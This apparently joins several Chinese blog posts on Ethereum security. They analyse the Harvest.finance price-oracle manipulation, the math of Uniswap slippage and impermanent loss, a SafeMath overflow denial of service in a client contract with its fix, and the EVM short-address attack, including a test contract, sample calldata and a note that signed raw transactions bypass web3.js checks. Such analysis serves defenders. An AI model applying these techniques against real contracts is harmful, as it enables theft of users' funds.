可以明显看出price即是yToken对fyToken的占比，那么shares与price的乘积即代表策略合约所占有的 yToken 量，最后传入underlyingValueFromYCrv函数，在该函数中会调用convertor.yCrvToUnderlying

这里就到了整个过程中最关键的地方了，也是问题的根本所在

convertor 合约0xfCA4并未开源

我们再次回到以太坊交易分析平台，查看整个deposit调用过程

可以看到前面的调用流程分析如实，并且 convetor 的调用最终会调用 Curve 的Zap.calc_withdraw_one_coin，而该函数用于查询 lpToken 的赎回价

问题就在这里了，这里相当于就是向 Curve 问价，而调用传入的是 yToken 的量，那么返回的就是 yUSDC 兑换 USDC 的价格，即USDC/yUSDC

而当前面巨额兑换USDC后，y池中 USDC 价格上涨，那么相对价格 USDC/yUSDC 就会下跌。Harvest.finance的 USDC 策略中 yUSDC 资产所具有的 USDC 净值经calc_withdraw_one_coin计算而来就损耗减少，最终反映到deposit函数的 fUSDC 铸造算法中，将导致 fUSDC 铸造量增加

总结与思考

归根到底，Harvest.finance被攻击的本质原因在于对策略稳定币价值的估价出现了问题，直接调用易被操纵价格的 Curve 的calc_withdraw_one_coin函数来估价，从而使攻击者有机可乘

这就是一次典型的喂价机制不完善导致的价格操纵的经济攻击事件

恒定乘积做市商模型，由Uniswap率先实现并推广，以恒定乘积公式$xy=k$为基础，使交易对的两种资产数量乘积恒定不变来推进市场交易。虽然Uniswap在DeFi领域开创了新的突破，成为了DEX领域的龙头，但恒定乘积做市商模型存在的滑点与无常损失仍饱受诟病。

下面通过简单的数学分析来理解该模型的滑点和无常损失的原理和过程

滑点

什么是滑点，滑点一般指预设成交价位与真实成交价位的偏差。恒定乘积AMM中同样存在滑点，一旦发生交易，池中资产的储备发生变化，资产实际的交易执行价就会发生变化，产生滑点。交易额越大，滑点越大，交易者的损失就越大。

公式分析

根据恒定乘积，当用$dx$个x兑换$dy$个y时（忽略手续费），有：

可得，兑换量：

则在实际兑换中，y相对x的单价为：

而兑换前，池中的y单价为$x / y$，那么y单价的滑点就产生了：

交易量$dx$越大，产生的滑点就越大，偏离实际价位就越大，而池中的资金储备越多、交易深度越大，则能尽量减少滑点的溢价，使用户的交易损耗降低

实际计算

Uniswap在实际计算交易滑点时，是通过百分比来显示的：

Uniswap源码中对滑点的计算是在uniswap-v2-sdk/src/entities/trade.ts文件中的computePriceImpact函数中实现的

/** * Returns the percent difference between the mid price and the execution price, i.e. price impact. * @param midPrice mid price before the trade * @param inputAmount the input amount of the trade * @param outputAmount the output amount of the trade */function computePriceImpact(midPrice: Price, inputAmount: CurrencyAmount, outputAmount: CurrencyAmount): Percent {  const exactQuote = midPrice.raw.multiply(inputAmount.raw)  // calculate slippage := (exactQuote - outputAmount) / exactQuote  const slippage = exactQuote.subtract(outputAmount.raw).divide(exactQuote)  return new Percent(slippage.numerator, slippage.denominator)}

按照函数中的逻辑，滑点百分比计算公式如下：

这里的$midPrice$从代码上看不出是x对y的价格还是y对x的价格，但按照公式的计算逻辑，当$midPrice$代表x对y的价格时，$midPrice · dx$就代表理论应得y的数量，那么这个公式就是按照滑点差值/理论应得量​的方式计算的

为验证这一点，来到Uniswap界面断点调试，以ETH兑换AAVE为例

可以看到$midPrice$实际采用的确实就是前面猜测的x对y的价格，并且是不同于界面中Price所显示实际兑换价的理论价

那么化简公式（2）：

将前面推导的公式（1），带入上式可得：

那么滑点百分比即是兑换量占用于兑换的资产储备量的百分比

当然，这里总结出的滑点计算还只是通过AMM机制所算出的理论滑点，实际上滑点还会受很多因素影响，比如网络延时、区块确认等等

无常损失

什么是无常损失，当资产价格剧烈波动时，持有的资产净值损耗减少，就会产生暂时性的账面损失。但如果将资产投入流动性资金池提供流动性，由于AMM的机制，价格与外部市场脱离，并不会自动调整价格，而需要依靠套利者买卖资产来使其达到与外部市场价格的平衡，造成越涨越卖、越跌越买的情况，所以这种套利行为的存在，通常将会使无常损失变成永久性损失。

数值分析

假设现有一恒定乘积做市的DEX，交易对$ETH/DAI$，流动性为$10:400$，则当前k=4000，ETH价格为$40DAI/ETH$

若一流动性供应商，已投入2ETH和80DAI，则流动性占比为20%

当ETH突然上涨，价格到达$60DAI/ETH$，此时就会有套利者在该DEX用DAI兑换ETH来套利

设共用$dy$个DAI兑换$dx$个ETH后，AMM池中$ETH:DAI$价格达到与外部平衡的$1:60$

则有：

解得：

即用89.6DAI兑换1.84ETH进行套利后，池中$ETH:DAI=8.16:489.6 \approx 1:60$

套利价为$dy/dx \approx 47.41 DAI/ETH$，相比池中价略高，存在滑点；相比池外价略低，即是套利空间

根据之前提供的流动性占比20%，则现在该流动性供应商在池中持有的资产变为$ETH:DAI=1.632:97.92$

相比套利前，相当于$-0.368ETH,+17.92DAI$，而ETH按现价$60DAI/ETH$来算，有$-0.368ETH=-22.08DAI$，与$+17.92DAI$不平衡，这就产生了无常损失

总结

Uniswap的恒定乘积AMM机制简洁、优雅，但同样也有着滑点、无常损失的不足

本质上来说，滑点保护了流动性供应商的利益而损害交易者的体验，而无常损失则是保护了交易体验而损害流动性供应商的利益

9号晚上突然接到消息，客户的合约出现问题，代币卡死在合约中，无法取出，据称是在第28天出现溢出问题卡死

分析处理后，通过这件事学到挺多，便记录一下

问题代码

问题主要代码在update_initreward函数中

uint256 DURATION = 1 days;int128 dayNums = 0;uint256 public base_ = 20*10e3;uint256 public rate_forReward = 1;uint256 public base_Rate_Reward = 100;......function update_initreward() private {    dayNums = dayNums + 1;    uint256 thisreward = base_.mul(rate_forReward).mul(10**18).mul((base_Rate_Reward.sub(rate_forReward))**(uint256(dayNums-1))).div(base_Rate_Reward**(uint256(dayNums)));    _initReward = uint256(thisreward);}

thisreward的计算公式整理如下：

其中

代入公式(1)化简可得：

分析

可以看到公式中存在$99^{dayNums-1}$和$100^{dayNums}$，数值大小是呈指数级增长的，这是个非常恐怖的数量级

当dayNums到40时，$99^{dayNums-1}$整体将大于$2^{256}$即uint256的大小，造成数值溢出

$99^{dayNums-1}$还只是公式中的一个小因子，在分子中，前面同样还有$2 \times 10^{23}$这样一个大因子

计算分子整体的溢出情况，可以发现分子的算式在dayNums到28的时候就已经发生溢出了

正好和客户目前的情况一致，在第28天的时候合约功能出现问题

虽然公式中已经使用了SafeMath安全算法，但由于SafeMath安全算法中存在require的溢出校验语句，而导致整个调用失败而回滚，最终表现为拒绝服务

该函数在合约启动后仅由修饰器checkHalve调用，而checkHalve修饰了很多函数，其中包括取款函数，于是导致了用户不能提取合约中质押的代币，合约大半个功能瘫痪，无法运作

修复建议

问题的本质是算式分子计算过程中产生的数值过大导致溢出，进而触发SafeMath的溢出校验而回滚，造成了拒绝服务的危害

那么修复自然是围绕公式做思考，通过上面的分析可以清楚这么几点：

一是公式的计算目的是按天数逐渐累乘计算出奖励数额，这是一个规律性渐进的特点；

其二，进一步化简整理公式(2)，可得：

从公式(3)中可以看出，这个公式实际上就是在$2 \times 10^{21}$的基础上逐天取99%，而$2 \times 10^{21}$并未超过uint256的大小，所以公式的计算结果必定是逐渐变小的，并不会产生溢出

从公式的计算角度来看，thisreward的计算结果是并不大的，而计算过程的中间值过大，产生了溢出

从公式的算法逻辑来看，问题代码对于thisreward的计算是直接使用天数从0累乘到当前天数来获取结果，简单粗暴，计算数值庞大

那么修复思路就很清晰了，拆分累乘

初始化定好第一次的thisreward数值，后面的每一次调用仅在上一次的thisreward的数值基础上乘以99%就行

所以需要多定义一个变量用于每次存储上一次的thisreward的值

修改后的新函数示例如下：

uint256 DURATION = 1 days;int128 dayNums = 0;uint256 public base_ = 20*10e3;uint256 public rate_forReward = 1;uint256 public base_Rate_Reward = 100;//knownsec// lastReward用于存储上一次的thisrewrad的值uint256 lastReward = base_.mul(rate_forReward).mul(10**18).div(base_Rate_Reward);......//knownsec// 原函数,存在拒绝服务风险function update_initreward_old() private {    dayNums = dayNums + 1;    uint256 thisreward = base_.mul(rate_forReward).mul(10**18).mul((base_Rate_Reward.sub(rate_forReward))**(uint256(dayNums-1))).div(base_Rate_Reward**(uint256(dayNums)));    _initReward = uint256(thisreward);}//knownsec// 新函数function update_initreward() private {    dayNums = dayNums +1;    if (dayNums == 1){        return lastReward;    } else {        uint256 thisreward = lastReward.mul(base_Rate_Reward.sub(rate_forReward)).div(base_Rate_Reward);        lastReward = thisreward;        return thisreward;    }}

经测试，不再存在风险，并且数额匹配（存在少量精度丢失）

总结

通过这件事学到了很多，在涉及运算的地方并不是用了SafeMath的安全算法就一定是安全的了，由于SafeMath安全算法内部的require溢出校验语句，视具体场景是可能存在拒绝服务风险的

唉，智能合约太难了，千里之堤毁于蚁穴，稍有一点细节没做好可能都会导致很严重的漏洞

工作开始转向区块链安全研究，打算好好学习一下以太坊

正好宇哥让写篇短地址攻击的文章，借此按短地址攻击的线索读了下EVM的源码，收获挺多

PS：这篇博客快要写完的时候差点误删了…还好点清空废纸篓前抬了一手意识到有点不对劲…

简介

EVM

EVM（Ethereum Virtual Machine），以太坊虚拟机的简称，是以太坊的核心之一。智能合约的创建和执行都由EVM来完成，简单来说，EVM是一个状态执行的机器，输入是solidity编译后的二进制指令和节点的状态数据，输出是节点状态的改变

短地址攻击

以太坊短地址攻击，是由于底层EVM的设计缺陷导致的漏洞

ERC20代币标准定义的transfer函数如下：

function transfer(address to, uint256 value) public returns (bool success)

如果传入的to是末端缺省的短地址，EVM会将后面字节补足地址，而最后的value值不足则用0填充，导致实际转出的代币数值倍增

EVM源码分析

evm.go

EVM的源码位于go-ethereum/core/vm/目录下，在evm.go中定义了EVM结构体，并实现了EVM.Call、EVM.CallCode、EVM.DelegateCall、EVM.StaticCall四种方法来调用智能合约，EVM.Call实现了基本的合约调用的功能，后面三种方法与EVM.Call略有区别，但最终都调用run函数来解析执行智能合约

run函数前半段是判断是否是以太坊内置预编译的特殊合约，有单独的运行方式

后半段则是对于一般的合约调用解释器interpreter去执行调用

interpreter.go

解释器相关代码在interpreter.go中，interpreter是一个接口，目前仅有EVMInterpreter这一个具体实现

合约经由EVM.Call调用Interpreter.Run来到EVMInpreter.Run

EVMInterpreter的Run方法代码较长，缩略代码如下：

func (in *EVMInterpreter) Run(contract *Contract, input []byte, readOnly bool) (ret []byte, err error) {  if in.intPool == nil {...} //创建intPool用于分配big.Int，减少频繁创建销毁big.Int的开销  //evm.depth用于记录合约的递归层数  in.evm.depth++  defer func() { in.evm.depth-- }()  //确保仅在尚未设置readOnly的情况下设置为readOnly  if readOnly && !in.readOnly {...}  in.returnData = nil  if len(contract.Code) == 0 {return nil,nil}  var (        op OpCode          //操作码指令        mem = NewMemory()  //内存        stack = newstack() //栈        pc = uint64(0)     //程序计数器,program counter        ...        res []byte         //指令执行结果  )  contract.Input = input//input调用参数传入contract.Input  defer func() { in.intPool.put(stack.data...) }()  if in.cfg.Debug {...} //debug模式下跟踪捕获状态和错误  //主循环  for atomic.LoadInt32(&in.evm.abort) == 0 {    ... //循环解析执行合约的字节码  }  return nil, nil}

EVMInterpreter.Run方法中处理执行合约字节码的主循环如下：

大部分代码主要是检查准备运行环境，执行合约字节码的核心代码主要是以下3行

op = contract.GetOp(pc)operation := in.cfg.JumpTable[op]......res, err = operation.execute(&pc, in, contract, mem, stack)......

interpreter的主要工作实际上只是通过JumpTable查找指令，起到一个翻译解析的作用

最终的执行是通过调用operation对象的execute方法

jump_table.go

operation的定义位于jump_table.go中

jump_table.go中还定义了JumpTable和多种不同的指令集

在interpreter.go创建解释器的NewEVMInterpreter函数中，会根据以太坊版本选择相应的指令集

在基本指令集中有三个处理input的指令，分别是CALLDATALOAD、CALLDATASIZE和CALLDATACOPY

jump_table.go中的代码同样只是起到解析的功能，提供了指令的查找，定义了每个指令具体的执行函数

instructions.go

instructions.go中是所有指令的具体实现，上述三个函数的具体实现如下：

这三个函数的作用分别是从input加载参数入栈、获取input大小、复制input中的参数到内存

我们重点关注opCallDataLoad函数是如何处理input中的参数入栈的

opCallDataLoad函数调用getDataBig函数，传入contract.Input、stack.pop()和big32，将结果转为big.Int入栈

getDataBig函数以stack.pop()栈顶元素作为起始索引，截取input中big32大小的数据，然后传入common.RightPadBytes处理并返回

其中涉及到的另外两个函数math.BigMin和common.RightPadBytes如下：

//file: go-thereum/common/math/big.gofunc BigMin(x, y *big.Int) *big.Int {    if x.Cmp(y) > 0 {        return y    }    return x}//file: go-ethereum/common/bytes.gofunc RightPadBytes(slice []byte, l int) []byte {    if l <= len(slice) {        return slice    }    //右填充0x00至l位    padded := make([]byte, l)    copy(padded, slice)    return padded}

分析到这里，基本上已经能很明显看到问题所在了

RightPadBytes函数会将传入的字节切片右填充至l位长度，而l是被传入的big32，即32位长度

所以在短地址攻击中，调用的transfer(address to, uint256 value)函数，如果to是低位缺省的地址，由于EVM在处理时是固定截取32位长度的，所以会将value数值高位补的0算进to的末端，而在截取value时由于位数不够32位，则右填充0x00至32位，最终导致转账的value指数级增大

测试与复现

编写一个简单的合约来测试

pragma solidity ^0.5.0;contract Test {    uint256 internal _totalSupply;    mapping(address => uint256) internal _balances;    event Transfer(address indexed from, address indexed to, uint256 value);    constructor() public {        _totalSupply = 1 * 10 ** 18;        _balances[msg.sender] = _totalSupply;    }    function totalSupply() external view returns (uint256) {        return _totalSupply;    }    function balanceOf(address account) external view returns (uint256) {        return _balances[account];    }    function transfer(address to,uint256 value) public returns (bool) {        require(to != address(0));        require(_balances[msg.sender] >= value);        require(_balances[to] + value >= _balances[to]);        _balances[msg.sender] -= value;        _balances[to] += value;        emit Transfer(msg.sender, to, value);    }}

remix部署，调用transfer发起正常的转账

input为0xa9059cbb00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f0000000000000000000000000000000000000000000000000000000000000001

直接尝试短地址攻击，删去转账地址的后两位，会发现并不能通过，remix会直接报错

这是因为web3.js做了校验，web3.js是用户与以太坊节点交互的媒介

源码复现

调试前面的正常调用，可以看到栈中已经压入了to和value两个参数

我们回退到压入第一个参数to的时候

CALLDATALOAD取栈顶0x04为起始索引截取input32字节数据0x00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f，即为参数to

在取第二个参数时，先将栈顶下一位的0x04置于栈顶，压入0x20（即十进制32），执行与运算ADD

调整栈数据顺序后，以栈顶0x24为起始索引截取input32字节数据0x0000000000000000000000000000000000000000000000000000000000000001，即为参数value

至此，函数参数入栈流程已经清晰，通过源码函数复现如下：

实际复现

至于如何完成实际攻击，可以参考文末的链接[1]，利用web3.eth.sendSignedTransaction绕过限制

实际上，web3.js做的校验仅限于显式传入转账地址的函数，如web3.eth.sendTransaction这种，像web3.eth.sendSignedTransaction、web3.eth.sendRawTransaction这种传入的参数是序列化后的数据的就校验不了，是可以完成短地址攻击的，感兴趣的可以自己尝试，这里就不多写了

PS：文中分析的go-ethereum源码版本是commit-fdff182，源码与最新版有些出入，但最新版的也未修复这种缺陷（可能官方不认为这是缺陷?），分析思路依然可以沿用

web3.js的校验

分析了下web3.js，更新这一小节来说明一下web3.js中相关的校验

简介

web3是一组用来和本地或远程以太坊节点进行交互的库，本质上是对以太坊节点暴露出来的JSON-RPC接口的封装，web3.js是其多个语言版本的实现之一

分析

web3.js对合约的调用是通过如下形式进行的：

contract_instance.methods.method_name.call()contract_instance.methods.method_name.send()

其中contract_instance是合约的实例变量，method_name则是具体调用的合约方法

而call()和send()的区别则是：前者调用的是在合约中以pure/view声明的静态函数，不会改变合约状态；后者调用的是需要发起交易，会改变合约状态的函数

合约方法调用的相关代码在web3.js/packages/web3-eth-contract/src/index.js中

_executeMethod方法会先调用_processExecuteArguments对参数做处理

_processExecuteArguments函数主要构造调用的options，其中会调用this.encodeABI赋予options.data

this.encodeABI的定义在_createTxObject中，绑定的父类的_encodeMethodABI方法

_encodeMethodABI会调用abi.encodeParameters方法获取参数编码后的数据

而abi是在文件头部导入的web3-eth-abi包

跟进web3-eth-abi中的encodeParameters函数

大部分代码主要是对object和string类型的参数格式化处理，关键在最后返回的ethersAbiCoder.encode函数

在文件头部可以看到ethersAbiCoder是@ethersproject/abi包中的AbiCoder类的实例

跟进@ethersproject/abi包中AbiCoder类的encode方法

AbiCoder的encode方法中会先通过_getCoder获取编码器

在_getCoder函数中可以看到会根据参数的变量类型返回相应的编码器，其中针对地址类型的编码器AddressCoder位于./coders/address包中

来到coders/address.js中

AddressCoder.encode函数中直接尝试调用address_1.getAddress()，而address_1是导入的@ethersproject/address

我们来看@ethersproject/address中的getAddress函数

很明显，getAddress函数中会先对地址的形式做校验，正则中的{40}必须匹配到40位长度，匹配之后还会计算校验和，否则就会在上层encode中的try...catch语句中抛出错误Error: invalid address

另外除了getAddress函数中对地址形式的校验，encode函数在调用address_1.getAddress()之后，紧接着调用了writer.writeValue，而在writeValue函数中还会对地址参数进行左填充

测试

在node中导入web3.js

encodeFunctionCall

encodeParameters（改）

utils.isAddress

思考

以太坊底层EVM并没有修复短地址攻击的这么一个缺陷，而是直接在web3.js里对地址做的校验，目前各种合约或多或少也做了校验，所以虽然EVM底层可以复现，但实际场景中问题应该不大，但如果是开放RPC的节点可能还是会存在这种风险

另外还有一个点，按底层EVM的这种机制，易受攻击的应该不仅仅是transfer(address to, uint256 value)这个点，只是因为这个函数是ERC20代币标准，而且参数的设计恰好能导致涉及金额的短地址攻击，并且特殊的地址易构造，所以这个函数常作为短地址攻击的典型。在其他的一些非代币合约，如竞猜、游戏类的合约中，一些非转账类的事务处理函数中，如果不对类似地址这种的参数做长度校验，可能也存在类似短地址攻击的风险，也或者并不局限于地址，可能还有其他的利用方式还没挖掘出来

目前还没有找到一个好的其他函数的例子做演示，文章就先写到这，后面有新发现再更新

参考

[1] 以太坊短地址攻击详解

https://www.anquanke.com/post/id/159453

[2] 以太坊源码解析：evm

https://www.jianshu.com/p/f319c78e9714